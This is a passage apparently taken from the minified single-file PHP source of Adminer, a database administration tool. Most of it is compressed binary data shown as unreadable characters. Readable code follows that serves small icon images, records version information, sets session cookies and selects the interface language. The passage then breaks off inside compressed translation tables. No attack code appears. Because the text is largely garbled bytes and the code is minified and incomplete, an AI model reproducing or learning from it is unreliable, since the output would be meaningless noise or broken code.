��[���ӧg��֤;mYҳ�g�%�9V~-J_��g�����\�ɮ�Qn��!�t�\UY-tZn��d:B��ʽ�*�]')t���w���ɫ[BUm*�r4�ؖ�*yv���vZ�չ+GH��Zn�P�܅|nT� %#\�AX}5b+w�r�Xwܲ1u��%Cg=I��v`�cr�e�0`..<���h�+�H̝^\j�yF��%�]�B���r��+�>�%Zx�� �%C.����`Vn�1KS���kr���X|��[�;�6H	U@�D:޻Mj	Ε��?��]ڤ��b�A+��G�thxb��L`��64Mޛ��Y#�hfD=e��w=�c�+H��:�.%��^$�DZrAzj�fLl�7�o�������-���Ed�މyz'V ��Ӟ�W�	Z��K�+�d(A�fy�P?�xR�^h���'���A���:pr�d(V�����d�t	S�FcHȟ��]r�r�CHY	X_�/f���ͽ 4 7e�6D�{,����<<Z^��j"	�n+ƀM�Y9��A�(<Pl�lp	�,>Ѐ�{E9�&�Gh�h{(���Agg8�(@�jT�n�g�Z��Ű�J����x�����@ic��Ջ�(p�'oJ0MnĀ�&���r'Ց��rq�F�4���)��cL���_�oJ�}5��c�o���|6�m�}Q���4Q��b����[�x�m( �&�@�;�+򘥮��f|I����R�48� {	`���k`u�r`��W㸱`"��)fIn��;�8Zj���g�~��AΈ�!j��%��T��E\�r3E�j�j��FXZ	��Ay�kH��Xd�gCQ�����΀�0�d��������t�	��zk�`@001n����H���4g&.����O(��P@r��E�l��X��r��E��8�x���@�ԋ���^���z@E���.�^��Qq"����Y��D_p&�3mZ.Pp�r�Eϋ��s��v"����0�`��w���,���_�`rc���/�]x�q���3q�.p��q���002�_�i���ъ��E�a�1�b��wJ l�1,`��1y�9#?0T^��q��$F6���/$d�����FD�yJ0b��	��W���.�c�‘{c E�s�3l]@rb�F�"�2�`����"�7���/�������a	^04e��Q{c<�ь�j/_��ѐc001��*28BA��000�xƔiؾ1��F�5�0ljH���"�F�30\_��q��f��T�l_0т�BEČ#3�]���s�ƽ���64_X�1�ƽ���d`��`r�S�_JMV/f����1005I6tf���4F����34f����F-���6�d��"��4�k��$h�±�#E�̌��6�_01�c@F���/d]X�Q�#Gn���5�g�q��EFn�m\�Dn��q��YFv�1/4`��q���4�=�8b�q|�004���3�mX�1��e����.�\��Q�cI�	��.7�\x�`"��i^3�(籒��"�Ev4l_��q��$F���oȾ�r#UE䍩^9�t�������.��3|r��1����69l^x�ѼPF-�]n0�v��Qy"�G��2,sx�Qq#�F+��/Di��q}���8�[6,j��cm�o��N5�eh�Qv��GL��H<T_�Q��?Fɋ�..$f���y�E��C2�l��1s#�E�D�loh�Ѳ�j����8�e�ű�b�F!���9�`x�q�����C�7�hx�٣�Ŏ��7�^x���K<�h���	,u�鱑�G)��;lu�#�Eߎ��<�k���b���sR.�w�ֱ�#z�~�w�2|x(����001�'�:�v�001��G挿�?|`������� .2�X�#�G��8K�@<z�1��ƹ�"9|j�����	G��/�6�q����G��s�7�/001�b��ߍ��:|�8�Q�#~F��W�4�g���#<Fr�� �2��X�Q�#�Fv�k�7�x�1�#��Ǝ��@�rh����F���Z;�f��rc�y��!r	�_x�1�"�H1���0Tw�ٲcrF�1 n8d�X�r���Ԍ��2Db�{d4H��rA<~��1�dBHI�[J?������q�~�k�0�t���#�Fr�#�0\h��r�G����Ett���c7�U��!�=D_���cN��y�6a��� Fg��!v1�q��1��KLJ���@�e�ѳcGo��n/���Ʋ�E�"�3t`��#cH���<�c��q��F�%�?Tb蹱�d)��� r0����qc�E���>3$tyQң���E�Cl`9)�VFH�MJ7�f���$HHQ�� ;�ri�7#F��-F�H�Q�#G��!�1�^�&4�vG&��7�g�ృ$G�rr/�d�R�(��s6@���'RA�Ǭ������&�����gk z=�|Hٱ�����^J�]��sd��,�$�1����<cqǦ���J�_���b�G��QvJ���ر��H5��F�p�Ic��[���@�r���vH�%��3D����c<I$�M.d��r1c=F���.4�c��2b�G.��!�L|{X�ѳ�{I��NF�dx�qsc��ݍ�#�E�a)��#�G����J�m�.��$=Gh�AN=�s��ŤE͑G�G\a1�0��H���F.tg8�ä[���Idn���8�F����.T����F3�E�6riq��sF���6�x�r���L�=nFT��od��>�-�3�|�2$�0��= �:�xc�H�I"NP$b��Q�$F�� �DĂ�����}F�%�?�(����G�3$�O$^x�2T������0���R���#�D�:��E�|i/2��XG����8���-�$H�v���=d�� ��`���:lax����I���:�X�RJ����R�mx�J#nGG�9!N���{cI���&�I���R=��Ir��&j:�8��g#�H��'3�_x��b��H}��>7����c��ُ"&K<x��2���H���"6@db�뱭e;�)�!�.�]�/�d���m*f6,v��ɪ����L��(q��AI8�7d�9Ttc����UL�X��%H��I*z:�|IXqs��-�B���q^(�R��aq(~e���9J�U�+-eq*nT��>�$�ѫer��α�pn�ռ�$es+�V��I���b��eq:�#]�cc�7rn�f,gY��TC�%��	�}����\*�EWP�a�:�E�,&W��p)���xl�M���3t�/Iip�D'	k$T��F��]f��dM�ȀK$���H(@�ɔ��(�z�nWҤ�_�Mݔ*��e�lF�^H	W*B���ZPe��֘��R/�dR—RʅKu�,yH)�"S�XI'��Z�=�L�R�3����n�'�[k��6@;}R��I����_�)�w�[� �n���n����ʓbBr�l,$v����԰����H��\���s*����.Qt�B��d�b���@�?3�S�`a@�K�\.����~�f���)����,?|&ӶK���Z9.�X�+S��|����Pʼ��E���e�/�V��^K�n-	:��Sز)ת�0j�9TX��B�K"�ů��²,2�'�2����P,�x���p���Kꗪ����"�D�#TV��D��1�Ao;ؕ�/9TH%V`WJ<9��aeʰ�K/V^/�Q���nB�Z"9���XүM~$�5����$0d�I�U���2�^Xn�*�E7InV3���+�a��Ii��N�KK�g0�a���z*�V���#bJyMҦe��Z� �V���`����U1�C��.rF��-j�&LU�p�9s�鹊+Q&1��Rm��ӱgZ���	,.XryZ첰0���3�2�A1�ւ�e�N������(?Al ��,N�ue��$|r��_%��E05E}�$���X2�%�Z�e �n";<9a�h㶥�a]���8���*�u��L����dR��0����+�Qm.�,G����M��_�2�e�dB��ݸ,�S�2��>U���԰�4vl�~e2��2�eĵ�Yg2nf�=��$�%��ٖ�Ffa�)����fTƶ�G���g2�W,[����X>)t�A]���R*�&Z��6j2|����(�p	�9� �uҪ�?��`n��-lZn�!H9����zL��9VLϹy��ݢZ�JhR��g�EfL�U��~`4�Y���x)$B�QR#ÕS������,6i#�Y��,;C��r��i�&�X��]��nw54�K�x�n*&��T���W������+SлqNc�y��IW��W5c��ɫ��&+����Vr�)����Kg����?� ����|�gR���hR�%K��)Z#�5�,ֵ�k�漻`��l:�LsC�[M�UB�6ld�ѓJ������1nl:���j���Lߖ��h� *)�p/��ާ5\�<9��V��/��ޫ�hT�dj��rMbxn�]R��W�R� MaU�3=��`0�o��,Z���l��}��m�월�l����mL�S6�\�tΙ���L���\�%�J���K��7oѩ��ef�M���oC�Y��v慭NV�4=R��sJ�����*h���hn��-m��4��4�y��H�M��|��is�U=����A$ڭ�i�ϙ������>����p�p��Qf�����q,��5s�UL���8}ݬ�٪���#�XH�����I����9U�8�c:�I���f����7�kl�5}�f�LY���N2ް�}&�	i���c,�I�3���R��6r�؉�3b��͍��6>lXY��f�L�)+�S,ى�*�el��U"ed��"Z��ږ�6�ZD�E9��%�΂�Y9rmt�E��'.M�[4��^��ɷ�;M�w�5���9���a��v+70l����d%��<��3�_<�lN���(�v+7YRl΅Ӫ]�.��4�I��)��=փN�T�]۹'U^�?�S���7�XC�ũӨ�1�u�9�E�ߙ�k�L;���Nh���S�qNXk;1[���LgpV�B�1_����gs����;�Rl��E���N�T�8�w,���s��1�Pxr�q���3���(��;�Z�	yӾ'{O	_���r�ȪMg|�I��92eL���f�OrY��nk��u���SN�v9Vk�	�3ǧ.̛v9zyd�)����N�Y�&s$��jd'6͔�Q<�V��)�e�+���:�ج�Yjt���p�u<��ʖ��3�]qM��Y:9X�S��gI�Ý*�m���C���v�G���R@�֯�jT�=��:�e��(_Vn�,?p�	3�'Π���������r�����|"�i��gT�n��P皤�nӔ�q,�Sf�.Y��Q A��A�,Z��eS���sE���r��v�T��Q�Z�"p�I�s�UAϛ��vZ�}�r��K�tf�P�f9疮�{��^J���ς�������n0%��NGګ*~l�D.���Ke��6�[,�%����O՘�-�~쵕��j��RO;��@	˨en�b_�%sK�Ŝ����Y����Y�0���L�W���jr�Ր��φ��!B����Pv��fwګ����M�R2�2�z�4r�h;�#M@�}��|��M��=ځ=��f�-!�6p��g[P4��������C�[5:��r�Ct��àu@�ۺ<��if��Nu��n[�!u8j{&9Ku�FQlR�i�(�C��A�䮙s4��Y��;f�B<�{�嘼R_I�~��6��|MWTA�]4�e@J�e�P|[���r5*���OΠ�Bt�)��%�-P�j�m	u�s�}И��Bi^��*��z�0YK.�`[�Y�2��Ы�|�XB���(?З�.$�l���,��X�D��n��j�OD�->_<���֝���������s�h\����ea\��e䑙Y�`���7U�"e��CYT���zt:V9P�_���a�ЕF�;݀M�����2�e��HC���Z�?�V��'����}c�Y�a�脬��?Qh8	�0�Q�CM`����6�,���J�eZ�Z"G�W��u��ur�>49�K���I%L����V9���։��Z�{VEO�X;�����o�agP�$n�RX@}!-Si��R���qz�	��ITH.���nkn��ndϮ�T����>�n�–��?�E�`��5D+f�?#z��IZ�7T[��Qs#�D���$���P���I�	�3��*�:�9YI��H���H��X�0�D�!u7J��m��YB}E������简��r�8Q��n}'P�S�	Q�������$��`R�)^�(O�P�aK����m�3��$H.��X�����)�V��`���9 �.�Y��18���eU��`X�9���	����\Lc�j�IE N鍫��6�W�D�XB�	Z�:�|Ϥ:	E-P-�&��)����*��l�)P�u��y|R���Lh�.p���_*�QA��@ �?,Ƨ�Y��)t�ч�<�P*���j�VuQ�:2�L�?J����,TPHL���E%�����yP(Y�JZ��TH�Xr	�Q4�hO�;\�vV�#�T�Ww��\`��Oҡ��?�JR2��=�F��]����I5TMjI�9�,(ƤDv|t�)��Wy-�]z��e���a,pQ6$�I-g=%�S�W#�TP�ܐ��)�T&]��X15j��B8���V�ӥn�em y���h�*�����d�4ς�bd!0��gR�J\� �Mt��1Rnn���x����.�_��u�+Ƽ�;���*4�θ)]�\�l�(m"�Q�nT���(*�`�1H�@2	6h��Y�c���H_���f�?��a��7=KKde�t�H��2/�62@b~��`�.���v�) !~��JPĝT��������—�O�{t��005���/ீr���J^��0�a!�)�8�%KޘPP4��~�H��������r+�Lb��/24)���GK�e0�e��S1�B�	-0jf���S�wLΙ�i�d ����L��r1�h�ȩ�S ��MJJ�ht�)��+?L��e5n���|FH��MN��5�j�ɩ�SH��L���4�=T���D��Mn��6Zm@I@S`�)'���7f�z��Sz�x~OU1k����SF��MOU4�p�٣2000���7�6�k�#xSl�'K�7�7nl���xSu�LR7�7�st��xS}�GM7�8*qt�#xS��OM"7�8�u��)�ӏ����9�r�)�Sr��2��;���)��7��Nj�m/�x��ӿ�sNڞ:jy4���S��gO:1�=ncT���Sͧ����;�{��Sȧ/ORHr=�tT��Iݧ�O���\zx4��S�M���>j|T�i�S���O�����~��$l��O����}t��٧�O��z�*�%�]PP���vU"��ݧ�K��@no�j�H�;P�>��1��Fd�P.5Bظ��r��3�uB�<�L#�<�QPE�Cʁu*n�ۨyPN��l���r�6��?K��mBZi�j�H��O2�}1J����M�_M��mD����&�K��Q6��Fzv��6ӹ��Qj��;j��j)�*����mEʌ�9Fd��Qv5eG�ɵd�Ԅ�EM+�D�"j)SD�QҤpZf��Ƃ�mR&��H��U�ہ%�{Rv0m0z��䧟Lƥ@��'���ER�?eJ�>�ԝ��M���I����YT���R�/�Bʕ.�UT��YRΡ�L:�jNԅ��R���L��5ji&,��O�mJD�5,�9���Q����1�hTf��N����ޥQ�'��7��Lih��rcjԝ��Sz�u��n�Ժ�g���9�@c��rT�%L��A�fT��MT9uQn��)��U��S��uD:���j�U	��ƨ�Pږq�*�EڪKSb�l\ڤ�F���ŪGTz�gJ��H�SF�	"��Q:�1����;���RꦵL*~EߪoTҦ\z������:���]Sꕱ����B��U�^J�uR*kE��	��T�Qt��R�g2��Uj��V$��_��S��mPH�U\��T��[Uʫ5Jhٵ\��Up�����V�7a_*����=R�>I*���V��X:hU8j�T�KZ��\:��)j�T��8��	�WZ�Ub��J8�R�=Y�UV�U��R��\:��-j��ѫiV.��[z��Ҫ��-�{T���Z��uoj�U��3 ��[���>����E �%\���h#bՅ��WZ�-\���C�����W>��]ںg4#���KTr��Zʤwj��$��z�-Rj��tj�U*��W��tpn�4����'�N�M����xU��X32[x�+���$B�US*��q�UͪqXZ�}S���x��@�-Wn5�XZ�Յ���J��U2�=\����F+��V�0]XX�U����0����-VJ��+�/�����Zʮ5sj��D��U޲%b�ɵ�����V�%Y�^u@d�բ��W�愔�ŲRk&���YR��\�ŒRk�Y�cV�O-\��	kd���KoX��K��/�9�]��V�O-U�<��@��嬥Vγ[����6U�����=e�ϵo�4TݭY�0�eH�դ�r��9����6�(󮝕+��7�yb�rI �|��:Fz���n��|��s<�R�%J���]��F�3����j�Σ�Y��Z��^<5�X�IJ��M`�nO\�B&�r���s��Q�uz��x���	�T���Vw�J5�g	�?v�qF4�9�ӝ����6�zj����OV��r�u�=�@ʒfT͚���y��	�֫pKaXU9�m����n�ekMo��5nhT��ꦦ�V���v���:��s���\p>��L�:��)�O=nk}j�S��&�֮��~���y��e��ܚ�Zֵ�)j���t�VR�V��s�r�:+a�o��,!T�l�Uϕ�*n��5��\�U�dv+�M\�)]B�|�J���l;4��5�pL�ӵئ7Li�[~bmt��Se�"���B��v��d��@ͧS�4)ؒ�Z���$)��5ic!������Ό���\R�*�SD���w$�9�tS�n�Gf�Pԛ��ʸ����*�	K��D�Vy��5�uȦJב�\��C��$��W,�M\������5�����k^�V�s��5�k�ֻ�M^�{�u��ϤwFQ��J�H�gWN�k8�����ʉ+�����1br��˕���V�X�]�dL�j�YT��v��6�twy˕�k����vx=�5�h������8�]���˷x"c|�ufU�����ҧ5�jȩ}�Pkn̚Rl��f٪�+���ۣ��>c4��W+T�Do���q���SX���b}}�hn�&<�?�/3��-áh���qn���	�p�%)S�yPr��͵�m-�f�5���[�\�=�T�}�y )��Yd�ؤ46#Y>�3��נ�m��n09h;�4���0��+�a�enȃİȞ!����)�@�x�x}�$����AF��Ñ�0N� R�	���ӄ�iܥ��U�?���b5�!+׭G���w{��Ӥ��lI �)�w-4;p8��ؤ;@rnr���N5�ƅF\ӹhgPE il0��X�%�)n��Lk��^���2��<5F��d�I�<�F�j�bM�d'�	�ƲD��Bma�����OY�Xgg�8��ZV�%mf��%�F�-�,�n���a��F�wf��s���0G乑�Z�n	1�;J��1�"iP�B�y�C����t�zӉ���;l�4��ҡ��J��mLX�+lᘪ�{�8�"�n�V�����(�$Y�d\݆6�D9B�H�d%���1���6f �"�T�J��`/��>�C=�c�쨱��?e!�k*�3l~���i��,�A��z/d���Mo���ڲn�"ɽ������zTr}eٌ{M�aC�7�fiT����/6W���P����8�Fa`��5��M�f2V]�['}cn4]h���e���Z�ŧr��2���XllGa`(����(��������_�lO��f&f�1c8�D{�Q��	S6�p�Y˜�����r�q�3m&*f�;�p�6r^c�ϳ��`ɵ&z�n^ڱ�;D��S�oj^�=�L'g�5���&���Ef&���|nK 6?bX*�.fψE���~&9�!��d�k@�v"F�G�x\�=�E�7�XP2[:���׎��X~��7���X6�4���(�";B�n�X��hy��&�Dֈ�Z�lnKC�������p���`mS�	2�U�;G�8��{��-��WBm��$F��r�l&B�Y2r��mA�ő�w�Z�6�RВ��%d�����_��T�5�``Ba��G��c�XK�r����gN��\���;N����s^n��u����ѲVwz�U�F"T-�,^������2 /� ����EW�/¼��ľ�4;"�K-NZ���McλRVNe�Z�wj�Š6��a��ÿ���KV�lN?���jt2���T/[�N���j|0t% #�������`��5F<����X@nӢ���ZF\-m���cd2�p5G�v'B�'�7{k�*'�L�A�Z|I�k�n-.C�6����k�-����S���k�]��_$��+G�נ[^���z]k��8�\��F|��?B���^��B��̎|��@���B��zP�W/R?[!bB��k��Ѡ'	(�e:xf�r�7r_��q�Ma�#��7|�Q&Ɂ@)��1�뮆LA[Pt����`�6�\e���zx��S݀vՈπU:�ڱ�T����ϗ>f�nq�l��+K(|�\��ѠG��U؋��@(�*�iS�%F�rR$��C��L���;�d��ļg�-$m?�lhʝ��3?P�Y�");}else{header("Content-Type: image/gif");switch($_GET["file"]){case"plus.gif":echo"GIF89a�001�������!�,!�����M��*)�o��) q��e���#��L�;";break;case"cross.gif":echo"GIF89a�001�������!�,#�����#na�Fo~y�.�_wa��1�J�G�L�6];";break;case"up.gif":echo"GIF89a�001�������!�, �����MQNn�}�a8�y�aŶ���;";break;case"down.gif":echo"GIF89a�001�������!�, �����M��*)�[W�\��L&ٜƶ���;";break;case"arrow.gif":echo"GIF89an�������!�,n�i������Ӳ޻;";break;}}exit;}if($_GET["script"]=="version"){$nd=file_open_lock(get_temp_dir()."/adminer.version");if($nd)file_write_unlock($nd,serialize(array("signature"=>$_POST["signature"],"version"=>$_POST["version"])));exit;}global$b,$g,$m,$kc,$sc,$Bc,$n,$pd,$vd,$ba,$Vd,$y,$ca,$pe,$sf,$eg,$Jh,$_d,$qi,$wi,$U,$Ki,$ia;if(!$_SERVER["REQUEST_URI"])$_SERVER["REQUEST_URI"]=$_SERVER["ORIG_PATH_INFO"];if(!strpos($_SERVER["REQUEST_URI"],'?')&&$_SERVER["QUERY_STRING"]!="")$_SERVER["REQUEST_URI"].="?$_SERVER[QUERY_STRING]";if($_SERVER["HTTP_X_FORWARDED_PREFIX"])$_SERVER["REQUEST_URI"]=$_SERVER["HTTP_X_FORWARDED_PREFIX"].$_SERVER["REQUEST_URI"];$ba=($_SERVER["HTTPS"]&&strcasecmp($_SERVER["HTTPS"],"off"))||ini_bool("session.cookie_secure");@ini_set("session.use_trans_sid",false);if(!defined("SID")){session_cache_limiter("");session_name("adminer_sid");$Rf=array(0,preg_replace('~?.*~','',$_SERVER["REQUEST_URI"]),"",$ba);if(version_compare(PHP_VERSION,'5.2.0')>=0)$Rf[]=true;call_user_func_array('session_set_cookie_params',$Rf);session_start();}remove_slashes(array(&$_GET,&$_POST,&$_COOKIE),$ad);if(function_exists("get_magic_quotes_runtime")&&get_magic_quotes_runtime())set_magic_quotes_runtime(false);@set_time_limit(0);@ini_set("zend.ze1_compatibility_mode",false);@ini_set("precision",15);$pe=array('en'=>'English','ar'=>'العربية','bg'=>'Български','bn'=>'বাংলা','bs'=>'Bosanski','ca'=>'Català','cs'=>'Čeština','da'=>'Dansk','de'=>'Deutsch','el'=>'Ελληνικά','es'=>'Español','et'=>'Eesti','fa'=>'فارسی','fi'=>'Suomi','fr'=>'Français','gl'=>'Galego','he'=>'עברית','hu'=>'Magyar','id'=>'Bahasa Indonesia','it'=>'Italiano','ja'=>'日本語','ka'=>'ქართული','ko'=>'한국어','lt'=>'Lietuvių','ms'=>'Bahasa Melayu','nl'=>'Nederlands','no'=>'Norsk','pl'=>'Polski','pt'=>'Português','pt-br'=>'Português (Brazil)','ro'=>'Limba Română','ru'=>'Русский','sk'=>'Slovenčina','sl'=>'Slovenski','sr'=>'Српски','sv'=>'Svenska','ta'=>'த‌மிழ்','th'=>'ภาษาไทย','tr'=>'Türkçe','uk'=>'Українська','vi'=>'Tiếng Việt','zh'=>'简体中文','zh-tw'=>'繁體中文',);function
get_lang(){global$ca;return$ca;}function
lang($v,$hf=null){if(is_string($v)){$hg=array_search($v,get_translations("en"));if($hg!==false)$v=$hg;}global$ca,$wi;$vi=($wi[$v]?$wi[$v]:$v);if(is_array($vi)){$hg=($hf==1?0:($ca=='cs'||$ca=='sk'?($hf&&$hf<5?1:2):($ca=='fr'?(!$hf?0:1):($ca=='pl'?($hf%10>1&&$hf%10<5&&$hf/10%10!=1?1:2):($ca=='sl'?($hf%100==1?0:($hf%100==2?1:($hf%100==3||$hf%100==4?2:3))):($ca=='lt'?($hf%10==1&&$hf%100!=11?0:($hf%10>1&&$hf/10%10!=1?1:2)):($ca=='bs'||$ca=='ru'||$ca=='sr'||$ca=='uk'?($hf%10==1&&$hf%100!=11?0:($hf%10>1&&$hf%10<5&&$hf/10%10!=1?1:2)):1)))))));$vi=$vi[$hg];}$Ea=func_get_args();array_shift($Ea);$kd=str_replace("%d","%s",$vi);if($kd!=$vi)$Ea[0]=format_number($hf);return
vsprintf($kd,$Ea);}function
switch_lang(){global$ca,$pe;echo"<form action='' method='post'>n<div id='lang'>",lang(19).": ".html_select("lang",$pe,$ca,"this.form.submit();")," <input type='submit' value='".lang(20)."' class='hidden'>n","<input type='hidden' name='token' value='".get_token()."'>n";echo"</div>n</form>n";}if(isset($_POST["lang"])&&verify_token()){cookie("adminer_lang",$_POST["lang"]);$_SESSION["lang"]=$_POST["lang"];$_SESSION["translations"]=array();redirect(remove_from_uri());}$ca="en";if(isset($pe[$_COOKIE["adminer_lang"]])){cookie("adminer_lang",$_COOKIE["adminer_lang"]);$ca=$_COOKIE["adminer_lang"];}elseif(isset($pe[$_SESSION["lang"]]))$ca=$_SESSION["lang"];else{$wa=array();preg_match_all('~([-a-z]+)(;q=([0-9.]+))?~',str_replace("_","-",strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"])),$Fe,PREG_SET_ORDER);foreach($Fe
as$C)$wa[$C[1]]=(isset($C[3])?$C[3]:1);arsort($wa);foreach($wa
as$z=>$xg){if(isset($pe[$z])){$ca=$z;break;}$z=preg_replace('~-.*~','',$z);if(!isset($wa[$z])&&isset($pe[$z])){$ca=$z;break;}}}$wi=$_SESSION["translations"];if($_SESSION["translations_version"]!=578941549){$wi=array();$_SESSION["translations_version"]=578941549;}function
get_translations($oe){switch($oe){case"en":$f="A9D�y�@s:�G�(�ff�����	��:�S���a2"1�..L'�I��m�#�s,�K��OP#I�@%9��i4�o2ύ���,9�%�P�b2��a��rn2�NC�(�r4��1C`(�:Eb�9A�i:�&㙔�y��F��Y��r�n� 8Z�S=$A����`�=�܌���0�n��dF�	��n:Zΰ)��Q���mw���O��mfpQ�΂��q��a�į�#q��w7S�X3������o�n>Z�M�zi��s;�̒��_�:���#|@�46��:�r-z|�(j*���0�:-h��/̸�8)+r^1/Л�η,�ZӈKX�9,�p�:>#���(�6�qB�7��4���2�Lu*���/�h�nH�hn|Z28���Cz�7J���Hnj=-�B�6�p�ʥ)�:8����1�#���<����Ђ���9��X�Ѐ���D4���9�Ax^;�rA47���3��_AУ���J|6����3,�bׇ�x�4�8�1�����O���ӈ#c:9��;̶T*���<Ua/8���&�#�΁7Aq3���7��|�*B�=�6ƍ��:��ƀޫˌ3#��f�M���׀P�:���n�L�8΀���$D��9��� -C�G���8nRZ�n�@����ˇ5�V646�1��@�&ru��J�|1.m5�e�6��d�4/�B� Z��0ʺsǭj��$�C"Jő������.����$�鈂Q�k`R��_��D���:��gJA�p��;@�@����U�%�4N��4v����n�z5/���6�X��3`Y|����L�+XA�\���с=G���D�:�����2�BE����C�]<��@M�W�%��Յ����58�P�t	ٔKFQԅ%JR��ML�M<9T��VcuP��9��[����Xpr(�C���x�9�v������"S�0,�����b�R*MJ�u2�߰.S�8�k�B�l�9~�@|�4?ἐ������Kɀ�@gvOKk�'䦡�h���@����L�9C��#BBC3Qu/�����Si(Ѡ���a�00�#�����jM簚���@q���nI$H�"P��q�a�4ˑ�"L�2�����@yɉ3��H��|HÙ�N���\��JG�>�5KJ��1��3��hѺ9Gd�!�0���@r�x)�{���v�,���ZK��B��P�H�IN8d'�=:X;���-k��$^�� �ܐ��k#I� !�ٕH`Ƀ�~���2<x��=�U�%�Zc�OnaQ��<���3��8u�:ڽ�n�S����<�q��P�Z	�3$x�'��D�?$�(ɒ0�$Dv�ޗ����:I/�rV���(n5�ʔ����Un �@��� �&Z��Wb�7��'�Q��N4�1 vd�Bi�z�R�Q�樣��Fa��(�QT�_N�s2�,�!Āy�s5�X��[z�<'M��TO��QAY�%���y�?$0�$�����0a�3��� $��,�(�x��ģ���66��t�����ɳ��Υ@�fl\�gmN�MU�.�!Y�@+��t֪7G���*Z�nd9'K��[K/ɔ2j��xe,�P�\`�^�+�-&U%��o̓/-h�'���•����4�0�cM�<rU��	~���T!$	�_�t��S�=��FNۂv��.`^a!0a�r��‰�yE=]��B�Z�\�,�9��@NQ/Λ*<�2�Z��.�l�LBt��J���gIB�ș��fk��X.ɸ�)c�ퟣ�X.��ݲ��SrZ(��SD���#���Ҷ��b�F�$9$��(b7�*�����5i�A�Ý��w�֡�2d�C�,�!�d�]�2:-�$ΓO���G�"Q���b�Y��q_m]��~�;&�]ײ�ѳrE��6��GK.Q�u�C-���cw7��Xji8���0"�0��ų.���b�W9e���%O��F������̨O���KI��|��C�v�Ӳn�vr��V�N���\2Y��dZ�:�;���yŏ�[C�F�ݹ��9�2��9KB�xK�Oqn�5�:Ҋ�{�پ��9�!eb5�{GMg�Ț���nW��)bC�w���5�|���.���.}(�7�C�A.I�<���;~K�*�q�6���|K��!���QT,��  ^�&�*e~n~��~��J�˥<�Q�����E��Or0���'����n����}�\��?ʓ�J>���|�vJ?�w�P�����N�~������7չ/�����Y���X��iKb/��5���j����92"��N�6.��o�.���.�o,��*�6�)F��Ha���H00d���f�u��O֋PX�&B��!)Z^$���02W0��pF���6p���.��H�0�^N�n���T�n��N~t�		Ƙ,�W�^4��d+�����r�r���8�LB�Ip�tGe�n�yP�%n����%�<DJ�7�N�P^�0�ވ�2nP��rbL"���c"���cp�QH��#��l#"�-���hٰ�����e�r�A���,ޑ� r�V���`�BF�0thxr �t��A"p��vv��n���ppc\.��,��Zml��l��*�֏��"f�3���v4J�.�㎪�&6���.���l�U��t���n���hrU�*K"@e$�: �<B�n�'����.q��N�X��K���ޫ�$�5�&K_&��Rq$�T�F�6$�'m�'*��k`m��Ϗ��$���:��bcnN�2��N�rD�,F0�VN@�%�2�Y�"vj��=�t���q�p�\Y�D�R��,�/��-�������"�-LPDD�\����$Ϻ���s'2��'N�3\";break;case"ar":$f="�C�P���l*�r�,&n�A��(J.��0Se\�r��b�@�0�,nQ,l)��µ���A��j_1�C�M��e��S�ng@�Og��X�DM�)��0��cA��n8�e*y#au4�� �Ir*;rS�U�dJ	}���*z�U�@��X;ai1l(n����[�y�d�u'c(��oF����e3�Nb���p2N�S��ӳ:LZ�z�P�\b�u�.�[�Q`u	!��Jy��&2��(gT��SњM�x�5g5�K�K�¦���0ʀ(�7rm8�7(�9r�f"7N�9�� ��4�x荶��x�;�#"�������2ɰW"JnB��'hk�ūb�Di�\@���p���yf���9����V�?�TXW���F��{�3)"�W9�|��eRhU��Ҫ�1�P�>���"o|�7���LQi\� H"����#��1�|�t���n���|��!Ҝ��'����e�:���n&T��=�)����������VK����v�Ҩ�2r�TBP�O�p�6#��oP�hYh�����޳������2�yq���3��:����x�}��r�cAPH���p_�p�B�J`|6�-+�3A#kt4��px�!��Ŵ�UOL����3���j�Q8���d�d�mWK��Vɣ����n�"@P�0�Cu���%R�#�;��Ȓ�'g�|�Y�e�/�J]Rn�"]��6B��6�+�/s�IGʊ��'	j>\��zlU�H��E*��D۬�WM&�d�F2Ѱ[���G��L�B6�66�^��c�J$Br)�"bԇ����k.�l�5<�d��N�wU�;��Ƽ�a�yO�[�k\��֞rY�֌dl����u�q���h9��l;�k¿��F�w�D��x@P�!j�o��	��KAߺcJS	@���g�@e�7-V2ɛ�:r�*� �Q�4r ҆���b�0��33��	:BAP7��,�� �T:�%��X r��3���C�r�!�3��"{M7Svn�)0��\B���BU&4���ZL¡�@͊(t�OX XqQ.���HdX�Ю�༗��_�~/��C�`��	@���0"�5���6�J{�/b��������*��b\ �"WT��+���&a5����R�@��8�܈�R���y�U�W�w_��7 `\��#�PRIChp5ᵂ�I.�tS���X�C[C���>]H��%'환��d�r=��4�J�d{x6:@�iC���q��-��>a1�D8���6������������⍑�aPeX�¶��K,�Ԇ���i?f��jVIijB��ԙ�633C��3���\l+NCPxٛ�*��(o�F~�f$l�sC�N( Czăpp�ˑ��f���crL4�u�(=4��:��I�h�)� �����h*�3ӂڐт&�r�$B�CKb&U�ߥx`Q��>(b�VFR���Q�w֐�b�QJ9�9bnY�V���$��Q��fH�y3�"<�r6�g)�6k�8���2r��f,z΁CBn�!�cHkZPbN��¡"*��?�]�R̼��F�Q!6o�:�S�hC�}�i�M�*{�bi��%�ڟn� n (ۆ�P!��k�l*��L���Z��0Tn@74��6Vz��wJ�#H��i�GETVʒ�BRlV����P�xNT(@�.H�A"�����\V�N��,�)E?Q�a�`��;����l���W��,�)TK�JL�D�%t� LRQ>�"��P^���ŔԱ6�r7������DjA�����d�,�š.��i��9�N��/��P�3�a���F*�!�{�b���p��AI'k�w[қX\p���AK*��񋔱W�=$���#�!�5�CP�Sr!�Ti���S����lH�A�R%���<�7H�B��Ӎhe��v��N�`�6�r̬�Q�|W]q'��$�J��������m*�.���N2Q�MV#��ͳc��D�>f_�Q�Ro�H>aX��)>��C��mk�2�_���c���)�'� Aa \��!%�Y�©��D��L��d���h�]ixJ�H�,Ӌ���;Pʤ�R{ł}���U����(9�˴.$��n�2e�$&�A��%·���>,4���~��Ym�ޑ�M�"2�P\[��WģO\֑u4�Q��Fw!��n	�� ��G������}UN�����ǕA	x6<`-�K�LKe"��yh�<���O���+(h�=]�:����V ��c�002nV�<��b��p�$��C�v�bgD�e�n����d��Ch!b�0*�̷�IG:"n�O�~P�B�c�v~#	��r���e�y��:�xW�6R�f�n�Ble�������\���>>��Ann)�~�"�����f�Є�	�:?�K���rOr��1�:��+$��P���˄�P:�� @RQ��p5-(w�T�-X�M����$/�w�^�����R���I���qM�PngM\~�1�MM$'�$zpQ�R���Lg0��Qd|�[C#�:��n�]/"O�(�+�1��N�r����n��~~�0��*[kNa�fԧ�R���1��)��'�S�>�P�#�>/�P�/�/fZ0o�c�g4I��*���H12���)P?��L�Ƨq��d��V��$D���=!D�<o� !��D�